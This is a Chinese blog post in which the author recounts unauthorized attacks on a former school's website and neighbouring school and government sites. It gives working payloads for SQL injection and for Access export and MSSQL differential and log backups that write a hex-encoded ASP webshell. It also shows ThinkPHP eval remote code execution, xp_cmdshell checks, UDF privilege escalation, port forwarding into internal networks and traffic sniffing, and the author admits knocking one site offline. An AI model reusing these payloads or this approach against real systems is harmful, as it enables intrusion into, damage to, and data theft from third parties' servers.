过程不算曲折,但还算漫长,知识点比较零碎,适合新手学习。

那么,那时我还小,我们一起来回忆,那些年 我们年少时 蛋疼的折腾。

离开母校那年,挚友摆了饭局送我,席间我和楷文(淡定哥)有个约定。。。

时不我待,转眼一载,人事变迁,容颜沧桑,楷文兄,没我的日子你别来无恙。母校官网我还没搞定,你是否已经炸了她的墙角?

由于种种原因,一直没有足够的时间。。。渗透过程七零八落

来看下情况:

母校主站:www.*****x.cn

*信息收集

初步刺探结果:



某些数据库的调用做了防注入处理:


[AppleScript]纯文本查看复制代码

?

web服务:iis6.0ASP 支持aspx

数据库:access

网站后台:http://www.******cn/admin/login.asp

手工找到数字型注入点:http://www.s*******.cn/news_detail.asp?id=954

明显的入库查询 sqlinjection

Sqlmap跑起来


结果不太理想,爆破不出表和字段,看来管理员为了防止猜表做了表前缀

对于access的注入,猜不到表,渗透戛然而止

后来又在复习的时候看到了sql注入access导出txt等文件方法,不能导出asp  但是我们可以配合IIS6.0解析漏洞导出binghe.asp;binghe.txt之类的文件

那么问题来了  , 路径哪里找?? 又不是phpmyadmin之类的可以报错文件,asp报错路径很少,但是我突然想到了conn.asp和5c%暴库

5c%是没有成功,conn.asp还是可以的,直接访问数据库连接文件,数据库连接文件和数据调用的相对路径冲突导致报错,没错爆出了绝对路径:


那么来sqlmap的–sql-shell用传说中的sql执行access导出txt、xls试试 配合iis6.0解析漏洞(PS:access已经过时,没研究过,小菜也不清楚access的sqlshell是不是可以执行,以前在后台遇到过可以执行sql的功能,譬如帝国的某些版本)

逐一执行以下语句就可以导出一句话了

[AppleScript]纯文本查看复制代码

?

1

2

3

4create table cmd(a varchar(50))

insertintocmd(a)values('一句话木马')

select*into[a]in'e:\web\webshellcc\1.asa;x.xls' 'excel4.0;'fromcmd

drop table cmd

更简单的

[AppleScript]纯文本查看复制代码

?

Select 'asp一句话木马'into[vote]in'e:\web\webshellcc\1.asa;x.xls' 'excel8.0;' fromvote

Sqlshell执行无果 看来是我想多了  也许access注入点根本就不能取得真正的sqlshell


转而看其网站后台,用burpsuite爆破没跑出来,, 失败


小站,也看不出是什么cms,扫了目录,没有大的发现,有上传,但是需要登录,无法有效利用,有留言板,尝试XSS,无果,存在iis短文件名泄露漏洞,利用无果

入侵脚步又戛然而止

上次刺探主站没有什么收获  C段之,

瞄到一个站 本市的**中学  久闻大名!

注入一个,,sqlmap之

[AppleScript]纯文本查看复制代码

?

--current-user   --sql-shell--os-shell

sa!!!!


[AppleScript]纯文本查看复制代码

?

selectcount(*)frommaster.dbo.sysobjectswherextype='x' andname='xp_cmdshell'

返回”1″,说明存在存储过程xp_cmdshell


试着执行cmd 不行啊老是超时  怪事


os-shell尝试获得交互式cmd  SQLmap自动提权修复xp_cmdshell也是超时  不明白哪里出了问题

手动在注入点执行也不行。。

咋办呢?想想还是找目录写个shell

用啊D列个目录  列了一会通过对比就找到了根目录

D:\wwwroot\dxzx\


跑了数据 解了md5  进了后台  想差异备份  但是手抖弄了个插配置文件一句话  但是忘了闭合asp标记


后来网站挂了  差点吓哭  我真的不是故意的 。  无法复现  等恢复了再说吧


个人对此表示万分歉意,对不起,已经致道歉信与修复方案至管理员邮箱

后来想到自己是多么的愚蠢,为什么不log备份,增量备份导出shell呢???

让我喝一杯82年的乐事冷静一下

其实log备份导出Public权限都能导出,更何况我们是sa,如果遇到奇葩的磁盘权限,可以尝试图片上传目录

#导出方法有以下几种方法:

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少!

差异备份的流程大概这样:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

121.完整备份一次(保存位置当然可以改)

backup database 库名todisk='c:\ddd.bak';--

2.创建表并插曲入数据

create table [dbo].[dtest]([cmd] [image]);

insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份

backup database 库名todisk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

上面

[AppleScript]纯文本查看复制代码

?

0x3C25657865637574652872657175657374282261222929253E

就是一句话木马的内容:

[AppleScript]纯文本查看复制代码

?

<%execute(request("a"))%>

如下是整理的常见的差异备份代码,思路一样!

===================================================

利用差异备份提高提高backupwebshell的成功率,减少文件大小

步骤:

[AppleScript]纯文本查看复制代码

?

1

2

3

4declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x77006F006B0061006F002E00620061006B00backup database @a todisk=@s

create table [dbo].[xiaolu]([cmd] [image]);

insertintoxiaolu(cmd)values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000)select@a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000backup database @atodisk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak

0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>

0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是

[AppleScript]纯文本查看复制代码

?

<%execute(request("a"))%>

===============================================================

我发现上面代码,有时会无效,而直接用

[AppleScript]纯文本查看复制代码

?

1

backup database 库名todisk='c:\ddd.bak' create table [dbo].[dtest]([cmd] [image]); insertintodtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E)backup database 库名todisk='目标位置\d.asp'WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 “‘”,就要把字符内容转为数值了!

网上还有log增量备份的,我也把他记录一下

=====================================================

另一种log增量备份技术:

例:在注入点用;联合执行

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6';alter database nullsetRECOVERY FULL--

';create table cmd(aimage)--

';backuplognulltodisk='f:\cmd'withinit--

';insertintocmd(a)values(0x3C2565786563757465287265717565737428226122292

9253EDA)--

';backuplognulltodisk='备份路径'--

PS:0x3C25657865637574652872657175657374282261222929253EDA 是一句话小马16进制转来的

是为了防止单引号和asp标志的闭合问题,下面是几种可以尝试的写法:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5a).<%%25Execute(request("a"))%%25>

b).<%Execute(request("a"))%>

c).%><%execute request("a")%><%

d).executerequest("a")

e).<%25Execute(request("a"))%25>

权限够大还可以直接调用systemobject的函数直接写:限于篇幅,大家可以自行整理

还是没拿下  但是我的脚步不会停止

C段一圈,很快拿下个脆弱的网站,账户名和密码都是网站简称、简单的提权了

权限还可以


内网 lcx转发过来


不过,c段的内网,意义不大,丢弃。

转了一会,又一个c段的,直接注入写shell,也是直接溢出提权


又是内网。。运气不是很好啊。

卡的让人想死  估计是个喳喳服务器,不看他了。。。


拿的c段都是内网,不能arp劫持目标,嗅探不到。。。。

思路转一下,来看旁注!拿目标的内网

拿下一个与主站同外网ip的站点 有希望撕入内网。。。

套路是注入进后台 截断拿shell


来提权服务器  又是恶心的内网 老套路转发上去

转发好 登录 看到这样子


不管他,mstsc/admin,挤下去,,


看了下,主站不在服务器上,运气好背啊,小小内网渗透一下


密码是随机设定的,其实那个不是密码,说明存在ipc$空连接的漏洞,好古老啊,手工利用一下看看,失败了,我都没心情一个一个测试了


读取一下管理密码,扫一下?


没读出来管理员的。。为什么运气这么差  导出hash去破解我也懒得搞了

嗅探开始,不久就有结果了哈哈


但是都是一些无用的信息,现在这里嗅探着,过个十天半个月的再来看看

内网存活:


那么问题来了,我们可不可以在内网里面netfake?

目标站的内网ip我们是通过在网站主页点一个校内应用得知的

事实证明不行,,,先放在那里嗅探吧  。。。。。


其实还有ip冲突劫持,不过劫持就没意思啦  我还是要拿到权限

再来看看另外一个旁站

下次看吧     背着书包上学堂。。。。。。。。。。。。

额 放假了

再来看看徐州市********育中心

运气比较好,Thinkphp框架,命令执行直接拿下

具体方法:

[AppleScript]纯文本查看复制代码

?

1

2

3index.php/module/aciton/param1/${@phpinfo()}

index.php/module/action/param1/{${eval($_POST[s])}}

来了来了提权

翻到了root直接来udf但是用t00lsshell提权显示创建lib/plugin目录失败


直接在菜刀里面右键创建目录成功



上用户


其实这里的udf 为了防止各种错误  我写过一个小工具 传上去运行,将 自动udf mof 和 lpk 三种方式提权,详情见

[AppleScript]纯文本查看复制代码

?

https://github.com/v5est0r/mysql-promoting-privileges

lcx 连接上去看看



翻下目录  没有目标站信息等

码字很累,完结篇很快会写出来,更精彩哦

未完待续。。。


作者:池寒